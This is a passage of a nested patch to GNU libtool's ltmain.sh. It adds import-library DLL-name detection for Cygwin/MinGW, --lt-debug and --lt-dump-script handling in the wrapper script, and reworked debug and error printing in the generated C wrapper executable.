++# SECTION_NAME is either .idata$6 or .idata$7, depending
++# on the platform and compiler that created the implib.
++#
++# Echos the name of the DLL associated with the
++# specified import library.
++func_cygming_dll_for_implib_fallback_core ()
++{
++ $opt_debug
++ match_literal=`$ECHO "$1" | $SED "$sed_make_literal_regex"`
++ $OBJDUMP -s --section "$1" "$2" 2>/dev/null |
++ $SED '/^Contents of section '"$match_literal"':/{
++ # Place marker at beginning of archive member dllname section
++ s/.*/====MARK====/
++ p
++ d
++ }
++ # These lines can sometimes be longer than 43 characters, but
++ # are always uninteresting
++ /:[ ]*file format pe[i]\{,1\}-/d
++ /^In archive [^:]*:/d
++ # Ensure marker is printed
++ /^====MARK====/p
++ # Remove all lines with less than 43 characters
++ /^.\{43\}/!d
++ # From remaining lines, remove first 43 characters
++ s/^.\{43\}//' |
++ $SED -n '
++ # Join marker and all lines until next marker into a single line
++ /^====MARK====/ b para
++ H
++ $ b para
++ b
++ :para
++ x
++ s/\n//g
++ # Remove the marker
++ s/^====MARK====//
++ # Remove trailing dots and whitespace
++ s/[\. \t]*$//
++ # Print
++ /./p' |
++ # we now have a list, one entry per line, of the stringified
++ # contents of the appropriate section of all members of the
++ # archive which possess that section. Heuristic: eliminate
++ # all those which have a first or second character that is
++ # a '.' (that is, objdump's representation of an unprintable
++ # character.) This should work for all archives with less than
++ # 0x302f exports -- but will fail for DLLs whose name actually
++ # begins with a literal '.' or a single character followed by
++ # a '.'.
++ #
++ # Of those that remain, print the first one.
++ $SED -e '/^\./d;/^.\./d;q'
++}
++
++# func_cygming_gnu_implib_p ARG
++# This predicate returns with zero status (TRUE) if
++# ARG is a GNU/binutils-style import library. Returns
++# with nonzero status (FALSE) otherwise.
++func_cygming_gnu_implib_p ()
++{
++ $opt_debug
++ func_to_tool_file "$1" func_convert_file_msys_to_w32
++ func_cygming_gnu_implib_tmp=`$NM "$func_to_tool_file_result" | eval "$global_symbol_pipe" | $EGREP ' (_head_[A-Za-z0-9_]+_[ad]l*|[A-Za-z0-9_]+_[ad]l*_iname)$'`
++ test -n "$func_cygming_gnu_implib_tmp"
++}
++
++# func_cygming_ms_implib_p ARG
++# This predicate returns with zero status (TRUE) if
++# ARG is an MS-style import library. Returns
++# with nonzero status (FALSE) otherwise.
++func_cygming_ms_implib_p ()
++{
++ $opt_debug
++ func_to_tool_file "$1" func_convert_file_msys_to_w32
++ func_cygming_ms_implib_tmp=`$NM "$func_to_tool_file_result" | eval "$global_symbol_pipe" | $GREP '_NULL_IMPORT_DESCRIPTOR'`
++ test -n "$func_cygming_ms_implib_tmp"
++}
++
++# func_cygming_dll_for_implib_fallback ARG
++# Platform-specific function to extract the
++# name of the DLL associated with the specified
++# import library ARG.
++#
++# This fallback implementation is for use when $DLLTOOL
++# does not support the --identify-strict option.
++# Invoked by eval'ing the libtool variable
++# $sharedlib_from_linklib_cmd
++# Result is available in the variable
++# $sharedlib_from_linklib_result
++func_cygming_dll_for_implib_fallback ()
++{
++ $opt_debug
++ if func_cygming_gnu_implib_p "$1" ; then
++ # binutils import library
++ sharedlib_from_linklib_result=`func_cygming_dll_for_implib_fallback_core '.idata$7' "$1"`
++ elif func_cygming_ms_implib_p "$1" ; then
++ # ms-generated import library
++ sharedlib_from_linklib_result=`func_cygming_dll_for_implib_fallback_core '.idata$6' "$1"`
++ else
++ # unknown
++ sharedlib_from_linklib_result=""
++ fi
++}
+
+
+ # func_extract_an_archive dir oldlib
+@@ -3014,7 +3898,110 @@ func_fallback_echo ()
+ _LTECHO_EOF'
+ }
+ ECHO=\"$qECHO\"
+- fi\
++ fi
++
++# Very basic option parsing. These options are (a) specific to
++# the libtool wrapper, (b) are identical between the wrapper
++# /script/ and the wrapper /executable/ which is used only on
++# windows platforms, and (c) all begin with the string "--lt-"
++# (application programs are unlikely to have options which match
++# this pattern).
++#
++# There are only two supported options: --lt-debug and
++# --lt-dump-script. There is, deliberately, no --lt-help.
++#
++# The first argument to this parsing function should be the
++# script's $0 value, followed by "$@".
++lt_option_debug=
++func_parse_lt_options ()
++{
++ lt_script_arg0=\$0
++ shift
++ for lt_opt
++ do
++ case \"\$lt_opt\" in
++ --lt-debug) lt_option_debug=1 ;;
++ --lt-dump-script)
++ lt_dump_D=\`\$ECHO \"X\$lt_script_arg0\" | $SED -e 's/^X//' -e 's%/[^/]*$%%'\`
++ test \"X\$lt_dump_D\" = \"X\$lt_script_arg0\" && lt_dump_D=.
++ lt_dump_F=\`\$ECHO \"X\$lt_script_arg0\" | $SED -e 's/^X//' -e 's%^.*/%%'\`
++ cat \"\$lt_dump_D/\$lt_dump_F\"
++ exit 0
++ ;;
++ --lt-*)
++ \$ECHO \"Unrecognized --lt- option: '\$lt_opt'\" 1>&2
++ exit 1
++ ;;
++ esac
++ done
++
++ # Print the debug banner immediately:
++ if test -n \"\$lt_option_debug\"; then
++ echo \"${outputname}:${output}:\${LINENO}: libtool wrapper (GNU $PACKAGE$TIMESTAMP) $VERSION\" 1>&2
++ fi
++}
++
++# Used when --lt-debug. Prints its arguments to stdout
++# (redirection is the responsibility of the caller)
++func_lt_dump_args ()
++{
++ lt_dump_args_N=1;
++ for lt_arg
++ do
++ \$ECHO \"${outputname}:${output}:\${LINENO}: newargv[\$lt_dump_args_N]: \$lt_arg\"
++ lt_dump_args_N=\`expr \$lt_dump_args_N + 1\`
++ done
++}
++
++# Core function for launching the target application
++func_exec_program_core ()
++{
++"
++ case $host in
++ # Backslashes separate directories on plain windows
++ *-*-mingw | *-*-os2* | *-cegcc*)
++ $ECHO "\
++ if test -n \"\$lt_option_debug\"; then
++ \$ECHO \"${outputname}:${output}:\${LINENO}: newargv[0]: \$progdir\\\\\$program\" 1>&2
++ func_lt_dump_args \${1+\"\$@\"} 1>&2
++ fi
++ exec \"\$progdir\\\\\$program\" \${1+\"\$@\"}
++"
++ ;;
++
++ *)
++ $ECHO "\
++ if test -n \"\$lt_option_debug\"; then
++ \$ECHO \"${outputname}:${output}:\${LINENO}: newargv[0]: \$progdir/\$program\" 1>&2
++ func_lt_dump_args \${1+\"\$@\"} 1>&2
++ fi
++ exec \"\$progdir/\$program\" \${1+\"\$@\"}
++"
++ ;;
++ esac
++ $ECHO "\
++ \$ECHO \"\$0: cannot exec \$program \$*\" 1>&2
++ exit 1
++}
++
++# A function to encapsulate launching the target application
++# Strips options in the --lt-* namespace from \$@ and
++# launches target application with the remaining arguments.
++func_exec_program ()
++{
++ for lt_wr_arg
++ do
++ case \$lt_wr_arg in
++ --lt-*) ;;
++ *) set x \"\$@\" \"\$lt_wr_arg\"; shift;;
++ esac
++ shift
++ done
++ func_exec_program_core \${1+\"\$@\"}
++}
++
++ # Parse options
++ func_parse_lt_options \"\$0\" \${1+\"\$@\"}
+
+ # Find the directory that this script lives in.
+ thisdir=\`\$ECHO \"\$file\" | $SED 's%/[^/]*$%%'\`
+@@ -3078,7 +4065,7 @@ _LTECHO_EOF'
+
+ # relink executable if necessary
+ if test -n \"\$relink_command\"; then
+- if relink_command_output=\`eval \"\$relink_command\" 2>&1\`; then :
++ if relink_command_output=\`eval \$relink_command 2>&1\`; then :
+ else
+ $ECHO \"\$relink_command_output\" >&2
+ $RM \"\$progdir/\$file\"
+@@ -3102,6 +4089,18 @@ _LTECHO_EOF'
+
+ if test -f \"\$progdir/\$program\"; then"
+
++ # fixup the dll searchpath if we need to.
++ #
++ # Fix the DLL searchpath if we need to. Do this before prepending
++ # to shlibpath, because on Windows, both are PATH and uninstalled
++ # libraries must come first.
++ if test -n "$dllsearchpath"; then
++ $ECHO "\
++ # Add the dll search path components to the executable PATH
++ PATH=$dllsearchpath:\$PATH
++"
++ fi
++
+ # Export our shlibpath_var if we have one.
+ if test "$shlibpath_overrides_runpath" = yes && test -n "$shlibpath_var" && test -n "$temp_rpath"; then
+ $ECHO "\
+@@ -3116,35 +4115,10 @@ _LTECHO_EOF'
+ "
+ fi
+
+- # fixup the dll searchpath if we need to.
+- if test -n "$dllsearchpath"; then
+- $ECHO "\
+- # Add the dll search path components to the executable PATH
+- PATH=$dllsearchpath:\$PATH
+-"
+- fi
+-
+ $ECHO "\
+ if test \"\$libtool_execute_magic\" != \"$magic\"; then
+ # Run the actual program with our arguments.
+-"
+- case $host in
+- # Backslashes separate directories on plain windows
+- *-*-mingw | *-*-os2* | *-cegcc*)
+- $ECHO "\
+- exec \"\$progdir\\\\\$program\" \${1+\"\$@\"}
+-"
+- ;;
+-
+- *)
+- $ECHO "\
+- exec \"\$progdir/\$program\" \${1+\"\$@\"}
+-"
+- ;;
+- esac
+- $ECHO "\
+- \$ECHO \"\$0: cannot exec \$program \$*\" 1>&2
+- exit 1
++ func_exec_program \${1+\"\$@\"}
+ fi
+ else
+ # The program doesn't exist.
+@@ -3158,166 +4132,6 @@ fi\
+ }
+
+
+-# func_to_host_path arg
+-#
+-# Convert paths to host format when used with build tools.
+-# Intended for use with "native" mingw (where libtool itself
+-# is running under the msys shell), or in the following cross-
+-# build environments:
+-# $build $host
+-# mingw (msys) mingw [e.g. native]
+-# cygwin mingw
+-# *nix + wine mingw
+-# where wine is equipped with the `winepath' executable.
+-# In the native mingw case, the (msys) shell automatically
+-# converts paths for any non-msys applications it launches,
+-# but that facility isn't available from inside the cwrapper.
+-# Similar accommodations are necessary for $host mingw and
+-# $build cygwin. Calling this function does no harm for other
+-# $host/$build combinations not listed above.
+-#
+-# ARG is the path (on $build) that should be converted to
+-# the proper representation for $host. The result is stored
+-# in $func_to_host_path_result.
+-func_to_host_path ()
+-{
+- func_to_host_path_result="$1"
+- if test -n "$1"; then
+- case $host in
+- *mingw* )
+- lt_sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g'
+- case $build in
+- *mingw* ) # actually, msys
+- # awkward: cmd appends spaces to result
+- func_to_host_path_result=`( cmd //c echo "$1" ) 2>/dev/null |
+- $SED -e 's/[ ]*$//' -e "$lt_sed_naive_backslashify"`
+- ;;
+- *cygwin* )
+- func_to_host_path_result=`cygpath -w "$1" |
+- $SED -e "$lt_sed_naive_backslashify"`
+- ;;
+- * )
+- # Unfortunately, winepath does not exit with a non-zero
+- # error code, so we are forced to check the contents of
+- # stdout. On the other hand, if the command is not
+- # found, the shell will set an exit code of 127 and print
+- # *an error message* to stdout. So we must check for both
+- # error code of zero AND non-empty stdout, which explains
+- # the odd construction:
+- func_to_host_path_tmp1=`winepath -w "$1" 2>/dev/null`
+- if test "$?" -eq 0 && test -n "${func_to_host_path_tmp1}"; then
+- func_to_host_path_result=`$ECHO "$func_to_host_path_tmp1" |
+- $SED -e "$lt_sed_naive_backslashify"`
+- else
+- # Allow warning below.
+- func_to_host_path_result=
+- fi
+- ;;
+- esac
+- if test -z "$func_to_host_path_result" ; then
+- func_error "Could not determine host path corresponding to"
+- func_error " \`$1'"
+- func_error "Continuing, but uninstalled executables may not work."
+- # Fallback:
+- func_to_host_path_result="$1"
+- fi
+- ;;
+- esac
+- fi
+-}
+-# end: func_to_host_path
+-
+-# func_to_host_pathlist arg
+-#
+-# Convert pathlists to host format when used with build tools.
+-# See func_to_host_path(), above. This function supports the
+-# following $build/$host combinations (but does no harm for
+-# combinations not listed here):
+-# $build $host
+-# mingw (msys) mingw [e.g. native]
+-# cygwin mingw
+-# *nix + wine mingw
+-#
+-# Path separators are also converted from $build format to
+-# $host format. If ARG begins or ends with a path separator
+-# character, it is preserved (but converted to $host format)
+-# on output.
+-#
+-# ARG is a pathlist (on $build) that should be converted to
+-# the proper representation on $host. The result is stored
+-# in $func_to_host_pathlist_result.
+-func_to_host_pathlist ()
+-{
+- func_to_host_pathlist_result="$1"
+- if test -n "$1"; then
+- case $host in
+- *mingw* )
+- lt_sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g'
+- # Remove leading and trailing path separator characters from
+- # ARG. msys behavior is inconsistent here, cygpath turns them
+- # into '.;' and ';.', and winepath ignores them completely.
+- func_stripname : : "$1"
+- func_to_host_pathlist_tmp1=$func_stripname_result
+- case $build in
+- *mingw* ) # Actually, msys.
+- # Awkward: cmd appends spaces to result.
+- func_to_host_pathlist_result=`
+- ( cmd //c echo "$func_to_host_pathlist_tmp1" ) 2>/dev/null |
+- $SED -e 's/[ ]*$//' -e "$lt_sed_naive_backslashify"`
+- ;;
+- *cygwin* )
+- func_to_host_pathlist_result=`cygpath -w -p "$func_to_host_pathlist_tmp1" |
+- $SED -e "$lt_sed_naive_backslashify"`
+- ;;
+- * )
+- # unfortunately, winepath doesn't convert pathlists
+- func_to_host_pathlist_result=""
+- func_to_host_pathlist_oldIFS=$IFS
+- IFS=:
+- for func_to_host_pathlist_f in $func_to_host_pathlist_tmp1 ; do
+- IFS=$func_to_host_pathlist_oldIFS
+- if test -n "$func_to_host_pathlist_f" ; then
+- func_to_host_path "$func_to_host_pathlist_f"
+- if test -n "$func_to_host_path_result" ; then
+- if test -z "$func_to_host_pathlist_result" ; then
+- func_to_host_pathlist_result="$func_to_host_path_result"
+- else
+- func_append func_to_host_pathlist_result ";$func_to_host_path_result"
+- fi
+- fi
+- fi
+- done
+- IFS=$func_to_host_pathlist_oldIFS
+- ;;
+- esac
+- if test -z "$func_to_host_pathlist_result"; then
+- func_error "Could not determine the host path(s) corresponding to"
+- func_error " \`$1'"
+- func_error "Continuing, but uninstalled executables may not work."
+- # Fallback. This may break if $1 contains DOS-style drive
+- # specifications. The fix is not to complicate the expression
+- # below, but for the user to provide a working wine installation
+- # with winepath so that path translation in the cross-to-mingw
+- # case works properly.
+- lt_replace_pathsep_nix_to_dos="s|:|;|g"
+- func_to_host_pathlist_result=`echo "$func_to_host_pathlist_tmp1" |\
+- $SED -e "$lt_replace_pathsep_nix_to_dos"`
+- fi
+- # Now, add the leading and trailing path separators back
+- case "$1" in
+- :* ) func_to_host_pathlist_result=";$func_to_host_pathlist_result"
+- ;;
+- esac
+- case "$1" in
+- *: ) func_append func_to_host_pathlist_result ";"
+- ;;
+- esac
+- ;;
+- esac
+- fi
+-}
+-# end: func_to_host_pathlist
+-
+ # func_emit_cwrapperexe_src
+ # emit the source code for a wrapper executable on stdout
+ # Must ONLY be called from within func_mode_link because
+@@ -3334,10 +4148,6 @@ func_emit_cwrapperexe_src ()
+
+ This wrapper executable should never be moved out of the build directory.
+ If it is, it will not operate correctly.
+-
+- Currently, it simply execs the wrapper *script* "$SHELL $output",
+- but could eventually absorb all of the scripts functionality and
+- exec $objdir/$outputname directly.
+ */
+ EOF
+ cat <<"EOF"
+@@ -3462,22 +4272,13 @@ int setenv (const char *, const char *, int);
+ if (stale) { free ((void *) stale); stale = 0; } \
+ } while (0)
+
+-#undef LTWRAPPER_DEBUGPRINTF
+-#if defined LT_DEBUGWRAPPER
+-# define LTWRAPPER_DEBUGPRINTF(args) ltwrapper_debugprintf args
+-static void
+-ltwrapper_debugprintf (const char *fmt, ...)
+-{
+- va_list args;
+- va_start (args, fmt);
+- (void) vfprintf (stderr, fmt, args);
+- va_end (args);
+-}
++#if defined(LT_DEBUGWRAPPER)
++static int lt_debug = 1;
+ #else
+-# define LTWRAPPER_DEBUGPRINTF(args)
++static int lt_debug = 0;
+ #endif
+
+-const char *program_name = NULL;
++const char *program_name = "libtool-wrapper"; /* in case xstrdup fails */
+
+ void *xmalloc (size_t num);
+ char *xstrdup (const char *string);
+@@ -3487,7 +4288,10 @@ char *chase_symlinks (const char *pathspec);
+ int make_executable (const char *path);
+ int check_executable (const char *path);
+ char *strendzap (char *str, const char *pat);
+-void lt_fatal (const char *message, ...);
++void lt_debugprintf (const char *file, int line, const char *fmt, ...);
++void lt_fatal (const char *file, int line, const char *message, ...);
++static const char *nonnull (const char *s);
++static const char *nonempty (const char *s);
+ void lt_setenv (const char *name, const char *value);
+ char *lt_extend_str (const char *orig_value, const char *add, int to_end);
+ void lt_update_exe_path (const char *name, const char *value);
+@@ -3497,14 +4301,14 @@ void lt_dump_script (FILE *f);
+ EOF
+
+ cat <<EOF
+-const char * MAGIC_EXE = "$magic_exe";
++volatile const char * MAGIC_EXE = "$magic_exe";
+ const char * LIB_PATH_VARNAME = "$shlibpath_var";
+ EOF
+
+ if test "$shlibpath_overrides_runpath" = yes && test -n "$shlibpath_var" && test -n "$temp_rpath"; then
+- func_to_host_pathlist "$temp_rpath"
++ func_to_host_path "$temp_rpath"
+ cat <<EOF
+-const char * LIB_PATH_VALUE = "$func_to_host_pathlist_result";
++const char * LIB_PATH_VALUE = "$func_to_host_path_result";
+ EOF
+ else
+ cat <<"EOF"
+@@ -3513,10 +4317,10 @@ EOF
+ fi
+
+ if test -n "$dllsearchpath"; then
+- func_to_host_pathlist "$dllsearchpath:"
++ func_to_host_path "$dllsearchpath:"
+ cat <<EOF
+ const char * EXE_PATH_VARNAME = "PATH";
+-const char * EXE_PATH_VALUE = "$func_to_host_pathlist_result";
++const char * EXE_PATH_VALUE = "$func_to_host_path_result";
+ EOF
+ else
+ cat <<"EOF"
+@@ -3539,12 +4343,10 @@ EOF
+ cat <<"EOF"
+
+ #define LTWRAPPER_OPTION_PREFIX "--lt-"
+-#define LTWRAPPER_OPTION_PREFIX_LENGTH 5
+
+-static const size_t opt_prefix_len = LTWRAPPER_OPTION_PREFIX_LENGTH;
+ static const char *ltwrapper_option_prefix = LTWRAPPER_OPTION_PREFIX;
+-
+ static const char *dumpscript_opt = LTWRAPPER_OPTION_PREFIX "dump-script";
++static const char *debug_opt = LTWRAPPER_OPTION_PREFIX "debug";
+
+ int
+ main (int argc, char *argv[])
+@@ -3561,10 +4363,13 @@ main (int argc, char *argv[])
+ int i;
+
+ program_name = (char *) xstrdup (base_name (argv[0]));
+- LTWRAPPER_DEBUGPRINTF (("(main) argv[0] : %s\n", argv[0]));
+- LTWRAPPER_DEBUGPRINTF (("(main) program_name : %s\n", program_name));
++ newargz = XMALLOC (char *, argc + 1);
+
+- /* very simple arg parsing; don't want to rely on getopt */
++ /* very simple arg parsing; don't want to rely on getopt
++ * also, copy all non cwrapper options to newargz, except
++ * argz[0], which is handled differently
++ */
++ newargc=0;
+ for (i = 1; i < argc; i++)
+ {
+ if (strcmp (argv[i], dumpscript_opt) == 0)
+@@ -3581,21 +4386,54 @@ EOF
+ lt_dump_script (stdout);
+ return 0;
+ }
++ if (strcmp (argv[i], debug_opt) == 0)
++ {
++ lt_debug = 1;
++ continue;
++ }
++ if (strcmp (argv[i], ltwrapper_option_prefix) == 0)
++ {
++ /* however, if there is an option in the LTWRAPPER_OPTION_PREFIX
++ namespace, but it is not one of the ones we know about and
++ have already dealt with, above (inluding dump-script), then
++ report an error. Otherwise, targets might begin to believe
++ they are allowed to use options in the LTWRAPPER_OPTION_PREFIX
++ namespace. The first time any user complains about this, we'll
++ need to make LTWRAPPER_OPTION_PREFIX a configure-time option
++ or a configure.ac-settable value.
++ */
++ lt_fatal (__FILE__, __LINE__,
++ "unrecognized %s option: '%s'",
++ ltwrapper_option_prefix, argv[i]);
++ }
++ /* otherwise ... */
++ newargz[++newargc] = xstrdup (argv[i]);
+ }
++ newargz[++newargc] = NULL;
++
++EOF
++ cat <<EOF
++ /* The GNU banner must be the first non-error debug message */
++ lt_debugprintf (__FILE__, __LINE__, "libtool wrapper (GNU $PACKAGE$TIMESTAMP) $VERSION\n");
++EOF
++ cat <<"EOF"
++ lt_debugprintf (__FILE__, __LINE__, "(main) argv[0]: %s\n", argv[0]);
++ lt_debugprintf (__FILE__, __LINE__, "(main) program_name: %s\n", program_name);
+
+- newargz = XMALLOC (char *, argc + 1);
+ tmp_pathspec = find_executable (argv[0]);
+ if (tmp_pathspec == NULL)
+- lt_fatal ("Couldn't find %s", argv[0]);
+- LTWRAPPER_DEBUGPRINTF (("(main) found exe (before symlink chase) at : %s\n",
+- tmp_pathspec));
++ lt_fatal (__FILE__, __LINE__, "couldn't find %s", argv[0]);
++ lt_debugprintf (__FILE__, __LINE__,
++ "(main) found exe (before symlink chase) at: %s\n",
++ tmp_pathspec);
+
+ actual_cwrapper_path = chase_symlinks (tmp_pathspec);
+- LTWRAPPER_DEBUGPRINTF (("(main) found exe (after symlink chase) at : %s\n",
+- actual_cwrapper_path));
++ lt_debugprintf (__FILE__, __LINE__,
++ "(main) found exe (after symlink chase) at: %s\n",
++ actual_cwrapper_path);
+ XFREE (tmp_pathspec);
+
+- actual_cwrapper_name = xstrdup( base_name (actual_cwrapper_path));
++ actual_cwrapper_name = xstrdup (base_name (actual_cwrapper_path));
+ strendzap (actual_cwrapper_path, actual_cwrapper_name);
+
+ /* wrapper name transforms */
+@@ -3613,8 +4451,9 @@ EOF
+ target_name = tmp_pathspec;
+ tmp_pathspec = 0;
+
+- LTWRAPPER_DEBUGPRINTF (("(main) libtool target name: %s\n",
+- target_name));
++ lt_debugprintf (__FILE__, __LINE__,
++ "(main) libtool target name: %s\n",
++ target_name);
+ EOF
+
+ cat <<EOF
+@@ -3664,35 +4503,19 @@ EOF
+
+ lt_setenv ("BIN_SH", "xpg4"); /* for Tru64 */
+ lt_setenv ("DUALCASE", "1"); /* for MSK sh */
+- lt_update_lib_path (LIB_PATH_VARNAME, LIB_PATH_VALUE);
++ /* Update the DLL searchpath. EXE_PATH_VALUE ($dllsearchpath) must
++ be prepended before (that is, appear after) LIB_PATH_VALUE ($temp_rpath)
++ because on Windows, both *_VARNAMEs are PATH but uninstalled
++ libraries must come first. */
+ lt_update_exe_path (EXE_PATH_VARNAME, EXE_PATH_VALUE);
++ lt_update_lib_path (LIB_PATH_VARNAME, LIB_PATH_VALUE);
+
+- newargc=0;
+- for (i = 1; i < argc; i++)
+- {
+- if (strncmp (argv[i], ltwrapper_option_prefix, opt_prefix_len) == 0)
+- {
+- /* however, if there is an option in the LTWRAPPER_OPTION_PREFIX
+- namespace, but it is not one of the ones we know about and
+- have already dealt with, above (inluding dump-script), then
+- report an error. Otherwise, targets might begin to believe
+- they are allowed to use options in the LTWRAPPER_OPTION_PREFIX
+- namespace. The first time any user complains about this, we'll
+- need to make LTWRAPPER_OPTION_PREFIX a configure-time option
+- or a configure.ac-settable value.
+- */
+- lt_fatal ("Unrecognized option in %s namespace: '%s'",
+- ltwrapper_option_prefix, argv[i]);
+- }
+- /* otherwise ... */
+- newargz[++newargc] = xstrdup (argv[i]);
+- }
+- newargz[++newargc] = NULL;
+-
+- LTWRAPPER_DEBUGPRINTF (("(main) lt_argv_zero : %s\n", (lt_argv_zero ? lt_argv_zero : "<NULL>")));
++ lt_debugprintf (__FILE__, __LINE__, "(main) lt_argv_zero: %s\n",
++ nonnull (lt_argv_zero));
+ for (i = 0; i < newargc; i++)
+ {
+- LTWRAPPER_DEBUGPRINTF (("(main) newargz[%d] : %s\n", i, (newargz[i] ? newargz[i] : "<NULL>")));
++ lt_debugprintf (__FILE__, __LINE__, "(main) newargz[%d]: %s\n",
++ i, nonnull (newargz[i]));
+ }
+
+ EOF
+@@ -3706,7 +4529,9 @@ EOF
+ if (rval == -1)
+ {
+ /* failed to start process */
+- LTWRAPPER_DEBUGPRINTF (("(main) failed to launch target \"%s\": errno = %d\n", lt_argv_zero, errno));
++ lt_debugprintf (__FILE__, __LINE__,
++ "(main) failed to launch target \"%s\": %s\n",
++ lt_argv_zero, nonnull (strerror (errno)));
+ return 127;
+ }
+ return rval;
+@@ -3728,7 +4553,7 @@ xmalloc (size_t num)
+ {
+ void *p = (void *) malloc (num);
+ if (!p)
+- lt_fatal ("Memory exhausted");
++ lt_fatal (__FILE__, __LINE__, "memory exhausted");
+
+ return p;
+ }
+@@ -3762,8 +4587,8 @@ check_executable (const char *path)
+ {
+ struct stat st;
+
+- LTWRAPPER_DEBUGPRINTF (("(check_executable) : %s\n",
+- path ? (*path ? path : "EMPTY!") : "NULL!"));
++ lt_debugprintf (__FILE__, __LINE__, "(check_executable): %s\n",
++ nonempty (path));
+ if ((!path) || (!*path))
+ return 0;
+
+@@ -3780,8 +4605,8 @@ make_executable (const char *path)
+ int rval = 0;
+ struct stat st;
+
+- LTWRAPPER_DEBUGPRINTF (("(make_executable) : %s\n",
+- path ? (*path ? path : "EMPTY!") : "NULL!"));
++ lt_debugprintf (__FILE__, __LINE__, "(make_executable): %s\n",
++ nonempty (path));
+ if ((!path) || (!*path))
+ return 0;
+
+@@ -3807,8 +4632,8 @@ find_executable (const char *wrapper)
+ int tmp_len;
+ char *concat_name;
+
+- LTWRAPPER_DEBUGPRINTF (("(find_executable) : %s\n",
+- wrapper ? (*wrapper ? wrapper : "EMPTY!") : "NULL!"));
++ lt_debugprintf (__FILE__, __LINE__, "(find_executable): %s\n",
++ nonempty (wrapper));
+
+ if ((wrapper == NULL) || (*wrapper == '\0'))
+ return NULL;
+@@ -3861,7 +4686,8 @@ find_executable (const char *wrapper)
+ {
+ /* empty path: current directory */
+ if (getcwd (tmp, LT_PATHMAX) == NULL)
+- lt_fatal ("getcwd failed");
++ lt_fatal (__FILE__, __LINE__, "getcwd failed: %s",
++ nonnull (strerror (errno)));
+ tmp_len = strlen (tmp);
+ concat_name =
+ XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1);
+@@ -3886,7 +4712,8 @@ find_executable (const char *wrapper)
+ }
+ /* Relative path | not found in path: prepend cwd */
+ if (getcwd (tmp, LT_PATHMAX) == NULL)
+- lt_fatal ("getcwd failed");
++ lt_fatal (__FILE__, __LINE__, "getcwd failed: %s",
++ nonnull (strerror (errno)));
+ tmp_len = strlen (tmp);
+ concat_name = XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1);
+ memcpy (concat_name, tmp, tmp_len);
+@@ -3912,8 +4739,9 @@ chase_symlinks (const char *pathspec)
+ int has_symlinks = 0;
+ while (strlen (tmp_pathspec) && !has_symlinks)
+ {
+- LTWRAPPER_DEBUGPRINTF (("checking path component for symlinks: %s\n",
+- tmp_pathspec));
++ lt_debugprintf (__FILE__, __LINE__,
++ "checking path component for symlinks: %s\n",
++ tmp_pathspec);
+ if (lstat (tmp_pathspec, &s) == 0)
+ {
+ if (S_ISLNK (s.st_mode) != 0)
+@@ -3935,8 +4763,9 @@ chase_symlinks (const char *pathspec)
+ }
+ else
+ {
+- char *errstr = strerror (errno);
+- lt_fatal ("Error accessing file %s (%s)", tmp_pathspec, errstr);
++ lt_fatal (__FILE__, __LINE__,
++ "error accessing file \"%s\": %s",
++ tmp_pathspec, nonnull (strerror (errno)));
+ }
+ }
+ XFREE (tmp_pathspec);
+@@ -3949,7 +4778,8 @@ chase_symlinks (const char *pathspec)
+ tmp_pathspec = realpath (pathspec, buf);
+ if (tmp_pathspec == 0)
+ {
+- lt_fatal ("Could not follow symlinks for %s", pathspec);
++ lt_fatal (__FILE__, __LINE__,
++ "could not follow symlinks for %s", pathspec);
+ }
+ return xstrdup (tmp_pathspec);
+ #endif
+@@ -3975,11 +4805,25 @@ strendzap (char *str, const char *pat)
+ return str;
+ }
+
++void
++lt_debugprintf (const char *file, int line, const char *fmt, ...)
++{
++ va_list args;
++ if (lt_debug)
++ {
++ (void) fprintf (stderr, "%s:%s:%d: ", program_name, file, line);
++ va_start (args, fmt);
++ (void) vfprintf (stderr, fmt, args);
++ va_end (args);
++ }
++}
++
+ static void
+-lt_error_core (int exit_status, const char *mode,
++lt_error_core (int exit_status, const char *file,
++ int line, const char *mode,
+ const char *message, va_list ap)
+ {
+- fprintf (stderr, "%s: %s: ", program_name, mode);
++ fprintf (stderr, "%s:%s:%d: %s: ", program_name, file, line, mode);
+ vfprintf (stderr, message, ap);
+ fprintf (stderr, ".\n");
+
+@@ -3988,20 +4832,32 @@ lt_error_core (int exit_status, const char *mode,
+ }
+
+ void
+-lt_fatal (const char *message, ...)
++lt_fatal (const char *file, int line, const char *message, ...)
+ {
+ va_list ap;
+ va_start (ap, message);
+- lt_error_core (EXIT_FAILURE, "FATAL", message, ap);
++ lt_error_core (EXIT_FAILURE, file, line, "FATAL", message, ap);
+ va_end (ap);
+ }
+
++static const char *
++nonnull (const char *s)
++{
++ return s ? s : "(null)";
++}
++
++static const char *
++nonempty (const char *s)
++{
++ return (s && !*s) ? "(empty)" : nonnull (s);
++}
++
+ void
+ lt_setenv (const char *name, const char *value)
+ {
+- LTWRAPPER_DEBUGPRINTF (("(lt_setenv) setting '%s' to '%s'\n",
+- (name ? name : "<NULL>"),
+- (value ? value : "<NULL>")));
++ lt_debugprintf (__FILE__, __LINE__,
++ "(lt_setenv) setting '%s' to '%s'\n",
++ nonnull (name), nonnull (value));
+ {
+ #ifdef HAVE_SETENV
+ /* always make a copy, for consistency with !HAVE_SETENV */
+@@ -4049,9 +4905,9 @@ lt_extend_str (const char *orig_value, const char *add, int to_end)
+ void
+ lt_update_exe_path (const char *name, const char *value)
+ {
+- LTWRAPPER_DEBUGPRINTF (("(lt_update_exe_path) modifying '%s' by prepending '%s'\n",
+- (name ? name : "<NULL>"),
+- (value ? value : "<NULL>")));
++ lt_debugprintf (__FILE__, __LINE__,
++ "(lt_update_exe_path) modifying '%s' by prepending '%s'\n",
++ nonnull (name), nonnull (value));
+
+ if (name && *name && value && *value)
+ {
+@@ -4070,9 +4926,9 @@ lt_update_exe_path (const char *name, const char *value)
+ void
+ lt_update_lib_path (const char *name, const char *value)
+ {
+- LTWRAPPER_DEBUGPRINTF (("(lt_update_lib_path) modifying '%s' by prepending '%s'\n",
+- (name ? name : "<NULL>"),
+- (value ? value : "<NULL>")));
++ lt_debugprintf (__FILE__, __LINE__,
++ "(lt_update_lib_path) modifying '%s' by prepending '%s'\n",
++ nonnull (name), nonnull (value));
+
+ if (name && *name && value && *value)
+ {
+@@ -4222,7 +5078,7 @@ EOF
+ func_win32_import_lib_p ()
+ {
+ $opt_debug
+- case `eval "$file_magic_cmd \"\$1\" 2>/dev/null" | $SED -e 10q` in
